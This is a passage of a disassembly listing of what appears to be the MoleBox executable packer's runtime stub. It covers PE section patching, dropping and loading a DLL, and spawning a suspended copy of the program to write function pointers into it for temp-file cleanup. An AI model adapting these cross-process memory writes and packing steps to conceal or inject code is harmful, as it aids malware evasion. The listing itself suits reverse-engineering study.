		mov	eax, [ebp+var_8C]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_84]
		mov	eax, [eax]
		sub	eax, [ebp+var_A8]
		mov	ecx, [ebp+var_A0]
		add	ecx, eax
		mov	[ebp+var_A4], ecx
		and	[ebp+var_AC], 0
		jmp	short loc_41A0A9
; ---------------------------------------------------------------------------


loc_41A09C:				; CODE XREF: sub_419995:loc_41A25Fj
		mov	eax, [ebp+var_AC]
		inc	eax
		mov	[ebp+var_AC], eax


loc_41A0A9:				; CODE XREF: sub_419995+705j
		mov	eax, [ebp+var_84]
		mov	eax, [eax+4]
		xor	edx, edx
		push	14h
		pop	ecx
		div	ecx
		cmp	[ebp+var_AC], eax
		jnb	loc_41A264
		mov	eax, [ebp+var_AC]
		imul	eax, 14h
		mov	ecx, [ebp+var_A4]
		cmp	dword ptr [ecx+eax+0Ch], 0
		jnz	short loc_41A0E0
		jmp	loc_41A264
; ---------------------------------------------------------------------------


loc_41A0E0:				; CODE XREF: sub_419995+744j
		mov	eax, [ebp+var_AC]
		imul	eax, 14h
		mov	ecx, [ebp+var_A4]
		mov	edx, [ebp+var_A0]
		add	edx, [ecx+eax+0Ch]
		sub	edx, [ebp+var_A8]
		mov	[ebp+var_B0], edx
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+var_A0]
		add	ecx, [eax+10h]
		cmp	[ebp+var_B0], ecx
		jbe	short loc_41A121
		jmp	loc_41A264
; ---------------------------------------------------------------------------


loc_41A121:				; CODE XREF: sub_419995+785j
		mov	eax, [ebp+var_B0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41A133
		jmp	loc_41A264
; ---------------------------------------------------------------------------


loc_41A133:				; CODE XREF: sub_419995+797j
		and	ds:dword_4248C8, 0
		push	[ebp+var_B0]
		call	sub_41E15D
		test	eax, eax
		jnz	loc_41A259
		cmp	ds:dword_4248C8, 0
		jz	short loc_41A15B
		jmp	loc_41A25B
; ---------------------------------------------------------------------------


loc_41A15B:				; CODE XREF: sub_419995+7BFj
		mov	edi, [ebp+var_B0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		push	[ebp+var_24]
		call	sub_41C9BA
		pop	ecx
		pop	ecx
		mov	[ebp+var_B4], eax
		mov	[ebp+var_4], 2
		push	5Ch
		push	[ebp+var_B4]
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_B8], eax
		cmp	[ebp+var_B8], 0
		jz	short loc_41A1AF
		mov	eax, [ebp+var_B8]
		inc	eax
		mov	[ebp+var_B8], eax
		jmp	short loc_41A1BB
; ---------------------------------------------------------------------------


loc_41A1AF:				; CODE XREF: sub_419995+809j
		mov	eax, [ebp+var_B4]
		mov	[ebp+var_B8], eax


loc_41A1BB:				; CODE XREF: sub_419995+818j
		mov	edi, [ebp+var_B0]
		mov	edx, [ebp+var_B8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	[ebp+var_B4]
		call	sub_41E15D
		test	eax, eax
		jnz	short loc_41A232
		cmp	ds:dword_4248C8, 0
		jz	short loc_41A20B
		push	1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		jmp	short loc_41A25B
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_419995+865j
		push	7Eh
		call	ds:dword_42470C	; RtlRestoreLastWin32Error
		push	0FFFFFFFFh
		and	[ebp+var_134], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_134]
		jmp	loc_41A822
; ---------------------------------------------------------------------------


loc_41A232:				; CODE XREF: sub_419995+85Cj
		mov	[ebp+var_4], 1
		call	sub_41A240
		jmp	short loc_41A259
sub_419995	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A240	proc near		; CODE XREF: sub_419995+8A4p
					; DATA XREF: _4:004214D8o
		mov	eax, [ebp-0B4h]
		mov	[ebp-0FCh], eax
		push	dword ptr [ebp-0FCh]
		call	sub_41BACD
		pop	ecx
		retn
sub_41A240	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419995


loc_41A259:				; CODE XREF: sub_419995+7B2j
					; sub_419995+8A9j
		jmp	short loc_41A25F
; ---------------------------------------------------------------------------


loc_41A25B:				; CODE XREF: sub_419995+7C1j
					; sub_419995+874j
		mov	[ebp+var_5C], 1


loc_41A25F:				; CODE XREF: sub_419995:loc_41A259j
		jmp	loc_41A09C
; ---------------------------------------------------------------------------


loc_41A264:				; CODE XREF: sub_419995+72Aj
					; sub_419995+746j ...
		push	8000h
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+10h]
		push	[ebp+var_A0]
		call	ds:dword_424728	; VirtualFree
		and	[ebp+var_A0], 0
		and	[ebp+var_4], 0
		jmp	short loc_41A29B
; END OF FUNCTION CHUNK	FOR sub_419995

; =============== S U B	R O U T	I N E =======================================



sub_41A28B	proc near		; DATA XREF: _4:004214C8o
		push	dword ptr [ebp-14h]
		call	sub_41C317
		retn
sub_41A28B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A294	proc near		; DATA XREF: _4:004214CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
sub_41A294	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_419995


loc_41A29B:				; CODE XREF: sub_419995+639j
					; sub_419995+659j ...
		mov	eax, [ebp+var_8C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41A2C9
		mov	eax, [ebp+var_98]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+10h]
		call	sub_419437
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8C]
		mov	[ecx+8], eax


loc_41A2C9:				; CODE XREF: sub_419995+910j
		mov	eax, [ebp+var_98]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_8C]
		push	dword ptr [eax+8]
		call	sub_419437
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+24h]
		add	ecx, eax
		mov	eax, [ebp+var_98]
		mov	[eax+24h], ecx
		mov	eax, [ebp+var_8C]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+var_8C]
		and	dword ptr [eax+14h], 0
		mov	eax, [ebp+var_8C]
		mov	dword ptr [eax+24h], 0E0000080h


loc_41A317:				; CODE XREF: sub_419995+623j
		jmp	loc_419E58
; ---------------------------------------------------------------------------


loc_41A31C:				; CODE XREF: sub_419995+4DEj
		and	[ebp+var_9C], 0
		jmp	short loc_41A332
; ---------------------------------------------------------------------------


loc_41A325:				; CODE XREF: sub_419995+9AFj
					; sub_419995+9BAj ...
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_41A332:				; CODE XREF: sub_419995+98Ej
		cmp	[ebp+var_9C], 10h
		jnb	short loc_41A375
		cmp	[ebp+var_9C], 0
		jnz	short loc_41A346
		jmp	short loc_41A325
; ---------------------------------------------------------------------------


loc_41A346:				; CODE XREF: sub_419995+9ADj
		cmp	[ebp+var_9C], 2
		jnz	short loc_41A351
		jmp	short loc_41A325
; ---------------------------------------------------------------------------


loc_41A351:				; CODE XREF: sub_419995+9B8j
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_98]
		and	dword ptr [ecx+eax*8+7Ch], 0
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+var_98]
		and	dword ptr [ecx+eax*8+78h], 0
		jmp	short loc_41A325
; ---------------------------------------------------------------------------


loc_41A375:				; CODE XREF: sub_419995+9A4j
		push	0Ah
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_8C]
		rep stosd
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8C]
		mov	[ecx+14h], eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+50h]
		mov	[eax+0Ch], ecx
		mov	esi, offset a_box_ ; "_BOX_"
		mov	edi, [ebp+var_8C]
		movsd
		movsw
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+38h]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_8C]
		mov	dword ptr [eax+10h], 200h
		mov	eax, [ebp+var_8C]
		mov	dword ptr [eax+24h], 0E0000020h
		mov	eax, [ebp+var_98]
		mov	dword ptr [eax+3Ch], 200h
		mov	eax, [ebp+var_98]
		mov	eax, [eax+50h]
		mov	ecx, [ebp+var_98]
		add	eax, [ecx+38h]
		mov	ecx, [ebp+var_98]
		mov	[ecx+50h], eax
		mov	eax, [ebp+var_98]
		mov	eax, [eax+1Ch]
		mov	ecx, [ebp+var_98]
		add	eax, [ecx+38h]
		mov	ecx, [ebp+var_98]
		mov	[ecx+1Ch], eax
		mov	eax, [ebp+var_98]
		mov	eax, [eax+28h]
		mov	[ebp+var_20], eax
		push	5
		pop	ecx
		mov	esi, offset loc_423C48
		mov	edi, [ebp+var_54]
		rep movsd
		movsw
		movsb
		mov	eax, [ebp+var_54]
		inc	eax
		mov	[ebp+var_BC], eax
		mov	eax, [ebp+var_BC]
		mov	ecx, [ebp+var_98]
		mov	ecx, [ecx+28h]
		mov	[eax+1], ecx
		call	sub_41922D
		mov	ecx, [ebp+var_BC]
		mov	ecx, [ecx+1]
		xor	ecx, eax
		mov	eax, [ebp+var_BC]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_BC]
		add	eax, 5
		mov	[ebp+var_BC], eax
		mov	eax, [ebp+var_BC]
		mov	ecx, [ebp+var_24]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_BC]
		add	eax, 5
		mov	[ebp+var_BC], eax
		mov	eax, [ebp+var_BC]
		mov	ecx, [ebp+var_3C]
		mov	[eax+1], ecx
		mov	eax, [ebp+var_BC]
		add	eax, 5
		mov	[ebp+var_BC], eax
		mov	eax, [ebp+var_BC]
		inc	eax
		mov	[ebp+var_BC], eax
		mov	eax, [ebp+var_BC]
		mov	dword ptr [eax+1], offset sub_419529
		and	[ebp+var_BC], 0
		xor	eax, eax
		mov	edi, [ebp+var_54]
		add	edi, 20h
		stosd
		stosd
		stosd
		mov	eax, [ebp+var_54]
		mov	dword ptr [eax+24h], 8
		mov	eax, [ebp+var_98]
		mov	dword ptr [eax+0A4h], 8
		mov	eax, [ebp+var_8C]
		mov	eax, [eax+0Ch]
		add	eax, 20h
		mov	ecx, [ebp+var_98]
		mov	[ecx+0A0h], eax
		mov	eax, [ebp+var_98]
		mov	ecx, [ebp+var_8C]
		mov	ecx, [ecx+0Ch]
		mov	[eax+28h], ecx
		mov	eax, [ebp+var_98]
		mov	ax, [eax+6]
		add	ax, 1
		mov	ecx, [ebp+var_98]
		mov	[ecx+6], ax
		mov	eax, [ebp+var_98]
		and	dword ptr [eax+58h], 0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+var_28]
		call	ds:dword_424628	; CreateFileA
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0FFFFFFFFh
		jnz	short loc_41A573
		mov	ecx, 0EF000011h
		call	sub_41BA32


loc_41A573:				; CODE XREF: sub_419995+BD2j
		push	0
		lea	eax, [ebp+var_C0]
		push	eax
		push	[ebp+var_34]
		push	[ebp+var_1C]
		push	[ebp+var_58]
		call	ds:dword_42473C	; WriteFile
		cmp	[ebp+var_2C], 0
		jz	short loc_41A5A9
		push	0
		lea	eax, [ebp+var_C0]
		push	eax
		push	[ebp+var_30]
		push	[ebp+var_2C]
		push	[ebp+var_58]
		call	ds:dword_42473C	; WriteFile


loc_41A5A9:				; CODE XREF: sub_419995+BFAj
		push	0
		lea	eax, [ebp+var_C0]
		push	eax
		push	200h
		push	[ebp+var_54]
		push	[ebp+var_58]
		call	ds:dword_42473C	; WriteFile
		push	[ebp+var_58]
		call	ds:dword_424658	; FlushFileBuffers
		push	[ebp+var_58]
		call	ds:dword_424624	; CloseHandle
		mov	ds:dword_4248B8, 1
		push	[ebp+var_28]
		call	ds:dword_4246DC	; LoadLibraryA
		mov	[ebp+var_C4], eax
		cmp	[ebp+var_C4], 0
		jnz	short loc_41A61B
		push	2B5h
		push	offset aCProjectsPTegg ; "C:\\Projects\\P\\Teggo\\MoleBox\\molebox2\\bo"...
		call	sub_41BEBA
		pop	ecx
		pop	ecx
		push	[ebp+var_28]
		call	ds:dword_424640	; DeleteFileA
		mov	ecx, 0EF000010h
		call	sub_41BA32


loc_41A61B:				; CODE XREF: sub_419995+C60j
		push	[ebp+var_24]
		push	[ebp+var_C4]
		mov	ecx, ds:dword_4248AC
		call	sub_41EC69
		movzx	eax, [ebp+var_5C]
		test	eax, eax
		jz	loc_41A760
		mov	eax, [ebp+var_C4]
		mov	[ebp+var_D0], eax
		mov	eax, [ebp+var_D0]
		mov	ecx, [ebp+var_D0]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_E0], ecx
		mov	eax, [ebp+var_E0]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_E0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_DC], eax
		mov	eax, [ebp+var_E0]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_DC]
		lea	eax, [ecx+eax-28h]
		mov	[ebp+var_D4], eax
		mov	eax, [ebp+var_D4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_D0]
		mov	eax, [ecx+eax+3Ch]
		mov	[ebp+var_D8], eax
		mov	eax, [ebp+var_D0]
		add	eax, [ebp+var_D8]
		mov	[ebp+var_CC], eax
		push	5Ch
		push	[ebp+var_24]
		call	sub_4105C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_C8], eax
		cmp	[ebp+var_C8], 0
		jnz	short loc_41A6E4
		mov	eax, [ebp+var_24]
		mov	[ebp+var_C8], eax
		jmp	short loc_41A6F1
; ---------------------------------------------------------------------------


loc_41A6E4:				; CODE XREF: sub_419995+D42j
		mov	eax, [ebp+var_C8]
		inc	eax
		mov	[ebp+var_C8], eax


loc_41A6F1:				; CODE XREF: sub_419995+D4Dj
		push	14h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_100], eax
		mov	eax, [ebp+var_100]
		mov	[ebp+var_E4], eax
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_C8]
		mov	[eax], ecx
		mov	eax, [ebp+var_E4]
		mov	ecx, ds:dword_4248CC
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_E0]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_CC]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_D0]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_E4]
		mov	ds:dword_4248CC, eax


loc_41A760:				; CODE XREF: sub_419995+CA0j
		call	sub_419903
		push	0FFFFFFFFh
		mov	eax, [ebp+var_C4]
		mov	[ebp+var_138], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_138]
		jmp	loc_41A822
; END OF FUNCTION CHUNK	FOR sub_419995

; =============== S U B	R O U T	I N E =======================================



sub_41A789	proc near		; DATA XREF: _4:004214C0o
		mov	eax, [ebp-48h]
		mov	ds:dword_4248C4, eax
		cmp	dword ptr [ebp-3Ch], 0FFFFFFFFh
		jz	short loc_41A7A1
		push	0
		push	dword ptr [ebp-3Ch]
		call	sub_41473F


loc_41A7A1:				; CODE XREF: sub_41A789+Cj
		mov	eax, [ebp-50h]
		mov	[ebp-104h], eax
		push	dword ptr [ebp-104h]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp-44h]
		mov	[ebp-108h], eax
		push	dword ptr [ebp-108h]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp-1Ch]
		mov	[ebp-10Ch], eax
		push	dword ptr [ebp-10Ch]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp-2Ch]
		mov	[ebp-110h], eax
		push	dword ptr [ebp-110h]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp-54h]
		mov	[ebp-114h], eax
		push	dword ptr [ebp-114h]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp-28h]
		mov	[ebp-118h], eax
		push	dword ptr [ebp-118h]
		call	sub_41BACD
		pop	ecx
		retn
sub_41A789	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_419995


loc_41A822:				; CODE XREF: sub_419995+B8j
					; sub_419995+13Aj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_419995

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A831	proc near		; CODE XREF: sub_41DF18+15p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4248AC
		call	sub_41EB4C
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A8AD
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_8]
		jbe	short loc_41A889
		mov	ecx, [ebp+var_8]
		inc	ecx
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_41A8A8
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A831+34j
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx


loc_41A8A8:				; CODE XREF: sub_41A831+56j
		push	1
		pop	eax
		jmp	short loc_41A8AF
; ---------------------------------------------------------------------------


loc_41A8AD:				; CODE XREF: sub_41A831+1Cj
		xor	eax, eax


loc_41A8AF:				; CODE XREF: sub_41A831+7Aj
		pop	edi
		pop	esi
		leave
		retn
sub_41A831	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8B3	proc near		; CODE XREF: sub_41D6FE+42p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4214E0
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_78], 0
		and	[ebp+var_74], 0
		and	[ebp+var_70], 0
		xor	eax, eax
		lea	edi, [ebp+var_6C]
		stosd
		and	[ebp+var_60], 0
		push	10h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_5C]
		rep stosd
		call	ds:dword_424664	; GetCurrentProcess
		mov	[ebp+var_68], eax
		mov	[ebp+var_64], offset dword_411740
		and	[ebp+var_1C], 0
		cmp	ds:dword_4248B8, 0
		jz	loc_41AA14
		and	[ebp+var_4], 0
		push	105h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_8C], eax
		mov	eax, [ebp+var_8C]
		mov	[ebp+var_78], eax
		push	50h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_90]
		mov	[ebp+var_74], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_78]
		rep stosd
		stosb
		push	104h
		push	[ebp+var_78]
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		push	eax
		call	ds:dword_424694	; GetModuleFileNameA
		mov	[ebp+var_60], 44h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	0
		push	0
		push	4
		push	1
		push	0
		push	0
		push	0
		push	[ebp+var_78]
		call	ds:dword_424638	; CreateProcessA
		test	eax, eax
		jnz	short loc_41A9AD
		mov	ecx, 0EF000015h
		call	sub_41BA32


loc_41A9AD:				; CODE XREF: sub_41A8B3+EEj
		call	ds:dword_424668	; GetCurrentProcessId
		push	eax
		push	[ebp+var_88]
		call	sub_41AB84
		pop	ecx
		pop	ecx
		push	[ebp+var_84]
		call	ds:dword_421020	; ResumeThread
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41AA14
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0EF000015h
		jnz	short loc_41A9F8
		mov	[ebp+var_98], 1
		jmp	short loc_41AA06
; ---------------------------------------------------------------------------


loc_41A9F8:				; CODE XREF: sub_41A8B3+137j
		push	[ebp+var_14]
		call	sub_41C317
		mov	[ebp+var_98], eax


loc_41AA06:				; CODE XREF: sub_41A8B3+143j
		mov	eax, [ebp+var_98]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AA14:				; CODE XREF: sub_41A8B3+66j
					; sub_41A8B3+11Ej
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A8B3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA23	proc near		; CODE XREF: sub_41AB72+Bp
					; DATA XREF: sub_41AB72+6o ...

var_24C		= byte ptr -24Ch
var_220		= byte ptr -220h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	edi
		and	[ebp+var_108], 0
		push	ds:dword_42489C
		push	0
		push	1F0FFFh
		call	ds:dword_4248F4
		mov	ds:dword_4248A8, eax
		cmp	ds:dword_4248A8, 0
		jz	short loc_41AA94


loc_41AA55:				; CODE XREF: sub_41AA23+63j
		lea	eax, [ebp+var_108]
		push	eax
		push	ds:dword_4248A8
		call	ds:dword_4248E8
		test	eax, eax
		jz	short loc_41AA88
		cmp	[ebp+var_108], 103h
		jnz	short loc_41AA88
		push	0FFFFFFFFh
		push	ds:dword_4248A8
		call	ds:dword_4248EC
		jmp	short loc_41AA55
; ---------------------------------------------------------------------------


loc_41AA88:				; CODE XREF: sub_41AA23+47j
					; sub_41AA23+53j
		push	ds:dword_4248A8
		call	ds:dword_4248FC


loc_41AA94:				; CODE XREF: sub_41AA23+30j
		or	[ebp+var_10C], 0FFFFFFFFh
		and	[ebp+var_104], 0
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	ds:dword_4248D0
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_4248D4
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	ds:dword_4248D8
		push	64h
		call	ds:dword_4248F8


loc_41AAEB:				; CODE XREF: sub_41AA23+124j
		lea	eax, [ebp+var_24C]
		push	eax
		push	offset dword_424900
		call	ds:dword_4248DC
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0FFFFFFFFh
		jz	short loc_41AB49
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_4248E0
		test	eax, eax
		jnz	short loc_41AB3B
		push	1F4h
		call	ds:dword_4248F8
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_4248E0
		test	eax, eax
		jnz	short loc_41AB3B
		jmp	short loc_41AB68
; ---------------------------------------------------------------------------


loc_41AB3B:				; CODE XREF: sub_41AA23+F8j
					; sub_41AA23+114j
		push	[ebp+var_10C]
		call	ds:dword_4248E4
		jmp	short loc_41AAEB
; ---------------------------------------------------------------------------


loc_41AB49:				; CODE XREF: sub_41AA23+E7j
					; sub_41AA23:loc_41AB68j
		cmp	[ebp+var_10C], 0FFFFFFFFh
		jz	short loc_41AB5E
		push	[ebp+var_10C]
		call	ds:dword_4248E4


loc_41AB5E:				; CODE XREF: sub_41AA23+12Dj
		push	0
		call	ds:dword_4248F0
		jmp	short loc_41AB6A
; ---------------------------------------------------------------------------


loc_41AB68:				; CODE XREF: sub_41AA23+116j
		jmp	short loc_41AB49
; ---------------------------------------------------------------------------


loc_41AB6A:				; CODE XREF: sub_41AA23+143j
		pop	edi
		leave
		retn
sub_41AA23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB6D	proc near		; DATA XREF: sub_41AB84+2B6o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_41AB6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB72	proc near		; DATA XREF: sub_41AB84+2EFo
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, offset sub_41AA23
		call	eax ; sub_41AA23
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AB72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB84	proc near		; CODE XREF: sub_41A8B3+107p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+arg_4]
		mov	ds:dword_42489C, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_42489C
		push	offset dword_42489C
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		push	20h
		pop	ecx
		xor	eax, eax
		mov	edi, offset dword_424900
		rep stosd
		call	ds:dword_424668	; GetCurrentProcessId
		push	eax
		push	offset aMbx@X@_	; "MBX@%X@*.###"
		push	offset dword_424900
		call	ds:dword_424754	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		push	80h
		push	offset dword_424900
		push	offset dword_424900
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		mov	esi, offset aKernel32_dll ; "kernel32.dll"
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsb
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGettemppatha ; "GetTempPathA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248D0, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248D0
		push	offset dword_4248D0
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSetcurrentdire ; "SetCurrentDirectoryA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248D4, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248D4
		push	offset dword_4248D4
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aGetcurrentdire ; "GetCurrentDirectoryA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248D8, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248D8
		push	offset dword_4248D8
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aFindfirstfilea ; "FindFirstFileA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248DC, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4248DC
		push	offset dword_4248DC
		push	[ebp+arg_0]
		call	ds:dword_421024	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aDeletefilea ; "DeleteFileA"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_4248E0, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
